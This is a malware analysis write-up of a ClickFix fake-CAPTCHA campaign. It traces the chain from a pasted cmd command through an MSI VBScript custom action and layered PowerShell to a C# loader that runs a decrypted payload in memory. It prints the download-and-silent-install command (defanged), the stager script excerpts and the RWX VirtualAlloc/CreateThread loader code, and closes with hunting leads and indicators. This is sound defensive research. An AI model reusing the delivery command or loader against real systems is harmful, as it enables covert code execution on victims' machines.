The page asks visitors to prove they are human. It has the Cloudflare logo, a dark background and an “I am not a robot” checkbox. Everything looks familiar until you check the address bar: the visible hostname is 8wvl.yrdentraffic[.]cc.
The next step changes the nature of the interaction. The verification prompt asks the visitor to open the Windows Run dialog, launch cmd, paste some content and press Enter. The user is now running instructions on their computer while believing they are completing a browser check.
That is the mechanism behind ClickFix. In this case, the command recorded in the analysis downloads an MSI package and passes it to Windows Installer. The chain then moves through VBScript, two layers of PowerShell and a C# component that attempts to transfer execution to a buffer in memory.
This reconstruction is based on the collected screenshots and the documented static analysis. It describes what the code reveals; it is not a recording of a laboratory infection.
When verification leaves the browser

Visual continuity does much of the work. After the first click, an orange panel keeps the logo, colours and references to human verification. Numbered instructions and keyboard symbols make opening a command prompt look like another routine step.

These screenshots establish the pretext and the instructions shown. They do not reveal the clipboard contents or prove that anyone executed them. The command associated with this chain comes from the accompanying technical analysis.
A third crop shows nodistribute[.]com with a truncated utm_source parameter. It is worth retaining as context, but it does not establish a redirect chain or prove that the domain distributed malware.
An MSI behind the first command
The delivery command uses curl.exe to retrieve a file from hxxps://cloubflare[.]net/1003 and save it as %TEMP%\S269.msi. If the download succeeds, it starts msiexec with /qn and /norestart, suppressing the installer interface and preventing a restart requested by that command.
The spelling of cloubflare resembles Cloudflare, but it is a separate domain. It reinforces the pretext established by the page.
The command also contains download retries and --ssl-no-revoke. With the Schannel backend, that option disables certificate revocation checking; it does not accept every invalid certificate. Retries make the transfer more tolerant of errors. They are not a persistence mechanism on the host. curl documentation.
The analysed file was named test.zip, but contained an MSI database. Its OLE Compound File signature provided an initial clue; the internal tables established the package type. The extension alone would have been misleading. The available material does not establish whether the .zip name came from distribution or a later collection step.
Reading the delivery command
The domain below is defanged. Line breaks are for readability, not syntax to paste into cmd. This is the sequence recorded in the report:
cmd /c curl.exe -fsL --ssl-no-revoke
--retry 8 --retry-connrefused --retry-delay 1 --connect-timeout 20
-o "%TEMP%\S269.msi" hxxps://cloubflare[.]net/1003
&& msiexec /i "%TEMP%\S269.msi" /qn /norestart-f fails the transfer on HTTP errors, -s reduces output and -L follows redirects. The && operator makes installation conditional on the preceding command succeeding. Together, they aim to reach installation without another user interaction.
From filename to actual container
The report starts with D0 CF 11 E0 A1 B1 1A E1, the Compound File signature, not an MSI-exclusive marker. Identification is completed by querying tables through WindowsInstaller.Installer and inspecting OLE streams with olefile. Reading the database is distinct from starting an installation; the documented analysis takes the former approach.
The installer already carries the next stage
The package identifies itself as SynerIntegration 4.1.6, with Sare Level Corp as its declared manufacturer. Those are database fields, not proof of who created it.
The important entry is in the CustomAction table. EcAdvanceAction references DecimalDouble375, a VBScript blob in the Binary table. Its type value, 4102 or 0x1006, specifies VBScript sourced from Binary data with the 64-bit script flag. Microsoft: Custom Action Type 6.
The VBScript hides strings behind sequences of Chr() calls. Once reconstructed, the logic is straightforward: retrieve the MSI path, store it in the process environment variable MSIc31bd05a, and extract a second blob named DictionaryParallel1146.
That content is written to a numerically named PowerShell file in the temporary directory. The script launches without a profile, with ExecutionPolicy Bypass and a hidden window. After a short delay, the VBScript attempts to delete the .ps1 file.
This matters during an investigation. The temporary file exists along the code path, even though the chain later attempts to remove it. Deletion does not prove that all traces disappeared or that the script completed successfully.
The tables connecting the scripts
These are the relevant database entries. The blob names resemble application components, but their extracted content is code:
[Property]
ProductName = SynerIntegration
Manufacturer = Sare Level Corp
ProductVersion = 4.1.6
ProductCode = {D6E299B7-03DD-4F3D-8701-79DF48D55CAA}
UpgradeCode = {FC2FFB9F-228B-4F60-AD6B-C96BFAADA006}
LIMITUI = 1
[CustomAction]
Action = EcAdvanceAction
Type = 4102 (0x1006 = 0x1000 + 0x0006)
Source = DecimalDouble375
Target = EcAdvanceAction
[Binary]
DecimalDouble375 9,510 bytes 46 75 6E 63 ("Func")
DictionaryParallel1146 82,354 bytes 24 6F 72 6C ("$orl")LIMITUI limits the interface level; it should not be confused with /qn, which suppresses the interface in the delivery command. A custom action remains an execution point even when the installer shows no window.
VBScript after removing Chr() encoding
The first layer uses Execute and concatenated Chr(N) calls. The report reconstructs the text without executing those instructions. The excerpts below retain the original variable names.
The installer-to-script connection is explicit:
xndxd = Session.Property("OriginalDatabase")
If Len(xndxd) = 0 Then Exit Function
Set qtbivasc = CreateObject("WScript.Shell")
Set pflek = qtbivasc.Environment("Process")
pflek("MSIc31bd05a") = xndxd
mqbhrpr = qtbivasc.ExpandEnvironmentStrings("%TEMP%") & "\" & _
Int(Rnd() * 999999) & ".ps1"
gdyex = "SELECT `Data` FROM `Binary` WHERE `Name`='DictionaryParallel1146'"
Set jpvhtrau = Session.Database.OpenView(gdyex)
jpvhtrau.Execute
Set evxkfdvt = jpvhtrau.FetchThe report then shows an ADODB.Stream configured as windows-1252 text: it reads the field through ReadStream in chunks of 65,536 and saves the result to the temporary path. OriginalDatabase supplies the package path, not a network address.
The call qtbivasc.Run zivcmecm, 0, False launches the constructed command with a hidden window and without waiting for PowerShell to finish. It is followed by ping -n 3 127.0.0.1, used as an approximate delay, then an attempted DeleteFile on the .ps1. This is not reliable synchronisation: the delay does not prove that PowerShell loaded or completed the script.
Two PowerShell layers before the download
The PowerShell blob is roughly 82 KB. Much of its complexity comes from its string representation: integer arrays, a constant added to each value, and conversion back into characters.
The first layer reconstructs iex, the alias for Invoke-Expression, and the next layer’s text. The second uses the same pattern to reveal further references, including hxxps://sebora[.]cfd/dl/00000000.
In the code, that address serves the encrypted payload. That role is supported by the available evidence. Calling it a command-and-control server would require further evidence about the payload’s subsequent communications.
The reconstructed sequence is:
Fake verification → user command → MSI → VBScript CustomAction → temporary PowerShell script → encrypted payload download.
From integers to Invoke-Expression
The first array is short enough to show the mechanism in full. This excerpt only reconstructs a string:
$orl = @(-2299499, -2299503, -2299484)
$krmpsngrf = ''
for ($i = 0; $i -lt $orl.Length; $i++) {
$krmpsngrf += [char]([int64]$orl[$i] + 2299604)
}
# 105, 101, 120 -> "iex"Applying the same transformation to the longer string produces the second layer, reported as 9,121 characters. The first stage uses the reconstructed name as a command and the second string as its argument. The next layer reveals MSIc31bd05a, GetEnvironmentVariable and the download URL.
The obfuscation hides strings from a superficial search. No cryptographic algorithm needs breaking: reproducing the addition and character conversion, while treating the result as text, is enough. This is where the analysis recovers the link between the initial VBScript and the remote payload.
The key travels with the encrypted content
The downloaded blob has a simple layout: a 32-byte AES key, a 16-byte IV, then the ciphertext. The code uses AES-256 in CBC mode with PKCS7 padding.
Encryption obscures the payload’s immediately recognisable form, but does not keep it inaccessible to someone holding the complete blob. The key and IV are in the same file, so a complete copy is enough to attempt offline decryption.
The supplied analysis documents a decrypted output of 7,997,952 bytes, identified as a 64-bit PE with signs of the MinGW-w64 runtime. Resource metadata includes Compiletalk Consulting, Talk Newsletter Router Service and talk_router.
These details help compare samples and search for artefacts. On their own, they do not identify a malware family or the organisation responsible.
The blob layout, byte by byte
The report gives a total length of 7,998,016 bytes. The layout also allows the sizes to be checked for consistency:
Offset Length Content
0x00000000 32 AES-256 key
0x00000020 16 CBC IV
0x00000030 7,997,968 Ciphertext
Key: D8650460662909B5208F3DC917C15D58ABE618AAA149306116D833A5E49A2BBB
IV: 29FEFD76F0BFAA6DE36C579D138D0307
Plaintext reported: 7,997,952 bytes
Difference: 16 bytes (consistent with a full PKCS7 padding block)The key and IV are sample values documented in the report, not secrets recovered from a victim. The 16-byte difference is compatible with the declared padding; by itself, it is not an independent cryptographic verification.
The second PowerShell layer separates $IX_i45MyMmOuJ[0..31] and $IX_i45MyMmOuJ[32..47], selects CipherMode::CBC and PaddingMode::PKCS7, then creates a CryptoStream over the bytes starting at offset 48. It passes the read result to the loader with the returned byte count. The relationship between buffer, actual read length and PE content needs to remain visible in the analysis.
The move into memory leaves a question open
PowerShell also decodes a C# class named R46109 and compiles it through Add-Type. The method shown in the analysis allocates readable, writable and executable memory, copies the decrypted buffer, and calls CreateThread with that buffer as the start address.
The sequence VirtualAlloc → Marshal.Copy → CreateThread describes an attempt to execute code in the current process. The available snippet does not show injection into another process.
There is an important distinction here. The decrypted content is described as a PE, yet the loader passes its buffer directly to a thread. Copying an ordinary PE file into memory is not equivalent to loading it correctly: imports and relocations, for example, still need handling. Establishing whether this sample contains a stub suitable for execution from the buffer requires following that code path. An MZ header alone does not answer the question.
The defensible conclusion is that the code sets up an attempt at in-memory execution. The supplied material does not establish successful execution of the whole chain. Calling the attack entirely “fileless” would also be inaccurate: the MSI and temporary script are already part of it.
R46109: where the buffer becomes an execution address
This is the method body recorded in the source, separated from its P/Invoke declarations and download chain:
public static void Run(byte[] sc, int len) {
IntPtr mem = VirtualAlloc(
IntPtr.Zero, (UIntPtr)len, 0x3000, 0x40);
Marshal.Copy(sc, 0, mem, len);
uint tid;
CreateThread(IntPtr.Zero, UIntPtr.Zero, mem,
IntPtr.Zero, 0, out tid);
}0x3000 combines MEM_COMMIT and MEM_RESERVE; 0x40 requests PAGE_EXECUTE_READWRITE. The returned pointer is used both as the copy destination and the thread start address. The shown body has no error checks for the two APIs and no explicit PE mapping.
The class also declares VirtualProtect, LoadLibraryA and GetProcAddress, but the recorded method does not call them. A declaration does not establish that the operation occurs: it does not, for example, document a later RW-to-RX transition or library hooking.
What the final payload tells us
The reported decompilation shows an executable that is difficult to follow, with many arithmetic transformations, chained calls and conditions dependent on computed values. The string SECRETK appears in three functions. A pointer modification occurs when a state variable reaches 0x1e.
These are useful starting points for further reverse engineering. They do not yet establish a commercial builder, a different key for each campaign or a sandbox-evasion feature. Likewise, 32-bit constants and missing network imports do not automatically prove API hashing. The resolver and its callers still need to be reconstructed.
The signature searches described in the analysis did not yield a reliable identification. Attribution therefore remains open: an obfuscated PE payload, with no established family. The absence of selected known strings does not categorically rule out Cobalt Strike, Havoc, Sliver or other frameworks.
The recovered PE: metadata and imports
The report describes seven sections: .text, .rdata, .data, .pdata, .tls, .rsrc and .reloc. Version resources build an application identity distinct from the MSI’s:
CompanyName = Compiletalk Consulting
FileDescription = Talk Newsletter Router Service
InternalName = talk_router
ProductName = Talk Router
FileVersion = 1.7.116.271
ProductVersion = 5.29.55.1280
Manifest name = talk_router.talk
Selected imports reported:
VirtualAlloc / VirtualFree / VirtualProtect / VirtualQuery
CreateThreadpoolWork / SubmitThreadpoolWork
CloseThreadpoolWork / WaitForThreadpoolWorkCallbacks
TlsGetValue / Sleep / GetLastError
EnterCriticalSection / LeaveCriticalSectionThread-pool APIs identify capabilities available to the binary, but do not reconstruct the callbacks it will execute. The report finds no explicit imports from WinHTTP, WinINet or Winsock. That narrows the investigation: there may be dynamic resolution, another component handling networking, or a path that has not yet been reconstructed.
Entry point, TLS and resources
The entry point is reported at RVA 0x3FC0F9, jumping to RVA 0x1000. At the start of that routine the report records:
The following excerpt retains the addresses in the supplied disassembly:
RVA 0x001000: sub rsp, 0x28
RVA 0x001004: mov rax, [rip+0x708015]
RVA 0x00100B: mov dword [rax], 0x1
RVA 0x001011: call RVA 0x1020
RVA 0x001016: nop
RVA 0x001019: add rsp, 0x28
RVA 0x00101D: ret
; Extract from the subsequent routine
mov rax, gs:[0x30]
mov rsi, [rax+8]This shows initialisation and accesses to thread structures, but it does not identify an API resolver. In particular, [rax+8] should not automatically be labelled PEB.ProcessParameters: the structure, offsets and pointer flow need checking.
Two TLS callbacks are also reported, at RVA 0x706CA0 and 0x706D20, interpreted in the analysis as runtime initialisation and cleanup routines. That is a plausible interpretation to check against their complete bodies; their presence alone does not prove anti-debugging.
For .rsrc, the documented inspection reads two 19,240-byte, low-entropy bitmap resources before encountering a Unicode-name parsing problem. The result applies to the entries read: incomplete enumeration cannot exclude hidden content elsewhere in the section.
SECRETK and the arithmetic transformations
One of the most interesting parts of the decompilation is the three functions referencing SECRETK. For FUN_140008920, the report reconstructs the following transformation. This is normalised pseudocode, not the program’s original source:
The intermediate value depends on the seed, the seven characters and the buffer position:
key = "SECRETK";
for (i = 0; i < 16; i++)
buf[i] = ((param_1 >> (i & 7)) % 26) + 'A';
for (i = 0; i < 16; i++)
if (buf[i] > '@' && buf[i] < '[')
buf[i] = ((buf[i] + key[i % 7] - 0x82) % 26) + 'A';
hash = 0;
for (i = 0; i < 16; i++)
hash ^= (uint)buf[i] << ((i & 3) << 3);
if (DAT_140710c45 < 0xb) {
if ((hash >> 3) & 1) hash ^= FUN_140034b70();
if (!((hash >> 3) & 1)) hash ^= FUN_140034e00();
if ((hash >> 3) & 1) hash ^= FUN_140026ec0(hash);
}
return FUN_140034f90(hash) ^ hash;The first loop produces A–Z characters; the second mixes them with SECRETK; the third XOR-folds them into a 32-bit value. The bit-3 tests are not necessarily mutually exclusive: an earlier call can change hash before the next test. The comparison with 0xb is visible, but the effective call limit also depends on where the counter is incremented or reset.
The report associates FUN_14002d400 with additional operations involving 0x73838551 and 0x6d116db2, and FUN_140032d60 with sorting values derived from 0xd2832896. These provide concrete references for locating functions in other samples. Establishing a campaign builder would instead require comparisons between variants and configurations, not just a string name.
Nine constants in the main routine
FUN_14004ca40 initialises fields at different offsets before a long chain of calls. The values are retained for comparison, without labelling them as resolved API hashes:
Excerpt of the structure and first recorded calls:
*(puVar2 + 0x50) = 0x910823ce;
*(puVar2 + 0x8c) = 0x9c1ae0ac;
*(puVar2 + 0xf8) = 0x430eaf70;
*(puVar2 + 0x48) = 0x98dab707;
*(puVar2 + 0xd0) = 0x779812ab;
*(puVar2 + 0x40) = 0xcc55a971;
*(puVar2 + 0xd8) = 0xc1c8e2b3;
*(puVar2 + 0xc0) = 0xd8c0d6b5;
*(puVar2 + 0x28) = 0x768657c1;
uVar3 = FUN_14004cda0(0x3a4756e);
uVar4 = FUN_14004ce30();
uVar5 = FUN_14004d190(0x3e4549a7, 0xbdabb111, uVar4 >> 2, uVar3);Connecting these values to API names requires following the field readers, their transformations and the values they compare against. The structure admits several interpretations until that path is reconstructed.
The four-round mixer
FUN_140001780 combines additions, rotations and XOR with fixed seeds. The report calls it “XTEA-like”; here the operations are described directly, since resemblance does not identify an algorithm:
Reported mixer pseudocode:
a = 0xde2c0773; b = 0xeffac1f4;
c = 0xeb5c45da; d = 0xcd065aae;
for (i = 0; i < 4; i++) {
a = b + a;
t1 = a ^ ROL32(b, 5);
t2 = (d + c) ^ ROL32(d, 8);
t3 = t1 + d + c;
a = t2 ^ ((a << 16) | (a >> 16));
b = t3 ^ ROL32(t1, 13);
d = a ^ ROL32(t2, 7);
c = (t3 << 16) | (t3 >> 16);
}
result = a ^ b ^ c ^ d;With fixed seeds and no other inputs, the calculation is deterministic. These operations can complicate control-flow analysis, but do not generate fresh entropy. Faithful reproduction requires 32-bit arithmetic and overflow behaviour.
The transition at state 0x1e
In FUN_140012270, the value 30 appears as the condition for an indirect write:
The value written into the shared structure is the point to follow:
if (DAT_1407109b0 == 0x1e) {
*(longlong *)(*(longlong *)(DAT_1407109b8 + 200) + 8) =
*(longlong *)(DAT_1407109b8 + 0x18);
DAT_1407109b0 = 0x1f;
}The write is compatible with updating a callback or a pointer in a structure. Calling it “payload activation” requires resolving the value at +0x18 and finding its later use. The meaning of 30 also needs care: it is a state compared by the code, not proof of 30 sequential timed steps or a sandbox delay.
These are the details that make the analysis repeatable: functions, offsets, constants and transformations to inspect. Attribution can remain open without sacrificing a detailed account of the sample.
Where to look for traces
For defenders, the useful part is the connection between events. A silent installer or a PowerShell session can be legitimate in isolation. Their appearance close together after an MSI download into a temporary directory deserves closer inspection.
Useful investigation leads include:
- download and creation of
S269.msi, followed by Windows Installer activity; - PowerShell starting in the installation context, with a numerically named script in
%TEMP%; - creation and subsequent deletion of that
.ps1, where telemetry records it; - requests to the delivery addresses listed below;
- PowerShell content and memory activity consistent with
R46109, where sensors provide that visibility.
These are hunting leads derived from the analysis, not validated detection rules. Correlate them with the user, time, file origin and expected administrative activity. A process tree starting directly from the browser is not required: the user opens the shell through Run.
For anyone encountering the page, the warning sign is specific. A web verification asking you to open a terminal and paste instructions is asking for local code execution. If the command has already run, closing the tab will not undo it. Report it promptly to IT or security, preserving the time and available details so they can reconstruct what happened.
Indicators for comparison
Addresses are deliberately defanged. Hashes are reproduced from the source analysis and were not recalculated from the binaries while preparing this article. A single indicator does not, by itself, establish compromise.
| Indicator | Role in the analysed material |
|---|---|
8wvl.yrdentraffic[.]cc | Host visible in the fake-verification screenshot |
hxxps://cloubflare[.]net/1003 | MSI delivery URL recorded in the command |
hxxps://sebora[.]cfd/dl/00000000 | Encrypted-blob download URL reconstructed from PowerShell |
%TEMP%\S269.msi | Destination path specified by the delivery command |
SynerIntegration, version 4.1.6 | MSI package metadata |
{D6E299B7-03DD-4F3D-8701-79DF48D55CAA} | MSI ProductCode |
MSIc31bd05a | Process environment variable in the VBScript |
DecimalDouble375 / DictionaryParallel1146 | Blob names in the Binary table |
R46109 | C# class name recorded in the loader |
Encrypted blob SHA-256
B8C2F5EDB461CEC814792A57EC896053DA415D4B2786A86C497792C8BFDC223A
Decrypted PE SHA-256
521D59DBE432D07B5866B27BE0639A3EC909922F7191C56D94A3CAC09AADE346
